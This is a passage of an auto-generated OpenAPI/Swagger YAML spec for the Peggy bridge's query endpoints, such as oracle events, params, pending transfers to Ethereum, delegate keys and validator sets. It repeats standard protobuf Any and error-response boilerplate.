| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /peggy/v1/oracle/event/{address}: | |
| get: | |
| summary: claim | |
| operationId: LastEventByAddr | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| last_claim_event: | |
| type: object | |
| properties: | |
| ethereum_event_nonce: | |
| type: string | |
| format: uint64 | |
| ethereum_event_height: | |
| type: string | |
| format: uint64 | |
| description: LastClaimEvent stores last claim event details of validator. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: address | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/params: | |
| get: | |
| summary: Deployments queries deployments | |
| operationId: PeggyParams | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| params: | |
| type: object | |
| properties: | |
| peggy_id: | |
| type: string | |
| contract_source_hash: | |
| type: string | |
| bridge_ethereum_address: | |
| type: string | |
| bridge_chain_id: | |
| type: string | |
| format: uint64 | |
| signed_valsets_window: | |
| type: string | |
| format: uint64 | |
| signed_batches_window: | |
| type: string | |
| format: uint64 | |
| signed_claims_window: | |
| type: string | |
| format: uint64 | |
| target_batch_timeout: | |
| type: string | |
| format: uint64 | |
| average_block_time: | |
| type: string | |
| format: uint64 | |
| average_ethereum_block_time: | |
| type: string | |
| format: uint64 | |
| slash_fraction_valset: | |
| type: string | |
| format: byte | |
| slash_fraction_batch: | |
| type: string | |
| format: byte | |
| slash_fraction_claim: | |
| type: string | |
| format: byte | |
| slash_fraction_conflicting_claim: | |
| type: string | |
| format: byte | |
| unbond_slashing_valsets_window: | |
| type: string | |
| format: uint64 | |
| slash_fraction_bad_eth_signature: | |
| type: string | |
| format: byte | |
| cosmos_coin_denom: | |
| type: string | |
| cosmos_coin_erc20_contract: | |
| type: string | |
| claim_slashing_enabled: | |
| type: boolean | |
| bridge_contract_start_height: | |
| type: string | |
| format: uint64 | |
| valset_reward: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the | |
| custom method | |
| signatures required by gogoproto. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /peggy/v1/pending_send_to_eth: | |
| get: | |
| summary: batch | |
| operationId: GetPendingSendToEth | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| transfers_in_batches: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| id: | |
| type: string | |
| format: uint64 | |
| sender: | |
| type: string | |
| dest_address: | |
| type: string | |
| erc20_token: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this could be | |
| a Cosmos | |
| originated token, if so it will be the ERC20 address of | |
| the representation | |
| (note: developers should look up the token symbol using | |
| the address on ETH to | |
| display for UI) | |
| erc20_fee: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this could be | |
| a Cosmos | |
| originated token, if so it will be the ERC20 address of | |
| the representation | |
| (note: developers should look up the token symbol using | |
| the address on ETH to | |
| display for UI) | |
| title: >- | |
| OutgoingTransferTx represents an individual send from Peggy | |
| to ETH | |
| unbatched_transfers: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| id: | |
| type: string | |
| format: uint64 | |
| sender: | |
| type: string | |
| dest_address: | |
| type: string | |
| erc20_token: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this could be | |
| a Cosmos | |
| originated token, if so it will be the ERC20 address of | |
| the representation | |
| (note: developers should look up the token symbol using | |
| the address on ETH to | |
| display for UI) | |
| erc20_fee: | |
| type: object | |
| properties: | |
| contract: | |
| type: string | |
| amount: | |
| type: string | |
| title: >- | |
| ERC20Token unique identifier for an Ethereum ERC20 | |
| token. | |
| CONTRACT: | |
| The contract address on ETH of the token, this could be | |
| a Cosmos | |
| originated token, if so it will be the ERC20 address of | |
| the representation | |
| (note: developers should look up the token symbol using | |
| the address on ETH to | |
| display for UI) | |
| title: >- | |
| OutgoingTransferTx represents an individual send from Peggy | |
| to ETH | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: sender_address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/query_delegate_keys_by_eth: | |
| get: | |
| operationId: GetDelegateKeyByEth | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| validator_address: | |
| type: string | |
| orchestrator_address: | |
| type: string | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: eth_address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/query_delegate_keys_by_orchestrator: | |
| get: | |
| operationId: GetDelegateKeyByOrchestrator | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| validator_address: | |
| type: string | |
| eth_address: | |
| type: string | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: orchestrator_address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/query_delegate_keys_by_validator: | |
| get: | |
| operationId: GetDelegateKeyByValidator | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| eth_address: | |
| type: string | |
| orchestrator_address: | |
| type: string | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: validator_address | |
| in: query | |
| required: false | |
| type: string | |
| tags: | |
| - Query | |
| /peggy/v1/valset: | |
| get: | |
| operationId: ValsetRequest | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| valset: | |
| type: object | |
| properties: | |
| nonce: | |
| type: string | |
| format: uint64 | |
| members: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| power: | |
| type: string | |
| format: uint64 | |
| ethereum_address: | |
| type: string | |
| title: >- | |
| BridgeValidator represents a validator's ETH address and | |
| its power | |
| height: | |
| type: string | |
| format: uint64 | |
| reward_amount: | |
| type: string | |
| reward_token: | |
| type: string | |
| title: >- | |
| the reward token in it's Ethereum hex address | |
| representation | |
| title: >- | |
| Valset is the Ethereum Bridge Multsig Set, each peggy | |
| validator also | |
| maintains an ETH key to sign messages, these are used to check | |
| signatures on | |
| ETH because of the significant gas savings | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
